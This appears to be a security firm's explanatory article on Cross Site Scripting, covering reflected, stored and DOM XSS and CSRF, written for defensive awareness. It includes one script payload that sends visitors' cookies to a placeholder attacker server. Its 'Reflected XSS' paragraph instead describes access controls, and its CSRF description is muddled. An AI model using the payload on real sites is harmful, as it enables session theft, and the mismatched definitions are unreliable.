Why professional web applications should be concerned with Cross Site Scripting (XSS)

Your web application can be utilized to launch and store Cross Site Scripting (XSS) attacks that can harm your system and other visitors that then visit your web site. Cross Site Scripting is a method utilized by malicious actors to inject their own malicious code onto your web application which then is executed if the web application is vulnerable to XSS.

Picture of the article

Your web application can be utilized to launch and store Cross Site Scripting (XSS) attacks that can harm your system and other visitors that then visit your web site. Cross Site Scripting is a method utilized by malicious actors to inject their own malicious code onto your web application which then is executed if the web application is vulnerable to XSS. There must be sufficient security checks inside your web application to counter the execution of this code that would compromise your application. If prone to this attack, a simple “alert()” can lead to craft more sophisticated attacks such as making the web application access a public server or craft a CSRF (discussed later in this page) to perform privilege escalation. Let us look at a simple example:

Here our web application is not sanitizing inputs and we can inject a simple script that will take the cookies of users visiting the site and send it to the attacker’s controlled public server:

<script type="text/javascript"> document.location =”Attacker’s_public_server ? victim’s_cookie =”+document.cookie </script>

Any user that interacts, even passively, with the specific section where this code was injected, will have their cookie compromised. This cookie grabbing example is one simple example of many script executions and action that can be created. Essentially any action that can be created via a script, can be executed if injectable. Furthermore, having a WAF (web application firewall) does not guarantee 100% to intercept and block all XSS injections.

Some common Cross Site Scripting methods of attack:

Reflected XSS:Critical nodes in your infrastructure must have proper access controls enabled. Users, Administrators, and data handlers must have accounts created with their corresponding access levels. We often discover different nodes (cameras, printers, IoT devices) with insufficient or even non-existing different levels of access control. Relative to the security policies set by the organization, there should be different access privileges based on the principle of least privilege and the need to perform required tasks.

Stored XSS:This flavor of cross site scripting stores an attack directly on the web application and infects all users who visit that specific attack component. This attack method can potentially be even more dangerous than reflected XSS, because it would not even require a victim to interact in an active mode on any specific link, rather just simply visit the infected part of the web application.

DOM XSS:This flavor of cross site scripting is associated with JavaScript and arises when JavaScript takes data from an attacker-controllable source and passes it to execute dynamically. This allows attackers to execute malicious JavaScript and allows them to compromise the environment including hijacking other users’ accounts.

Cross Site Request Forgery (CSRF):Cross Site Request Forgery involves a vulnerability that allows attackers to obtain users’ unique identifiers, such as cookies, tokens, etc., and then inserting payloads along these unique identifiers to perform a specific action, thereby gaining malicious authentication or authorization of permitted actions for those specific users. It can also lead attacks with high vector such as creating a new user via admin’s account if CSRF is successfully delivered and executed in an admin-controlled space.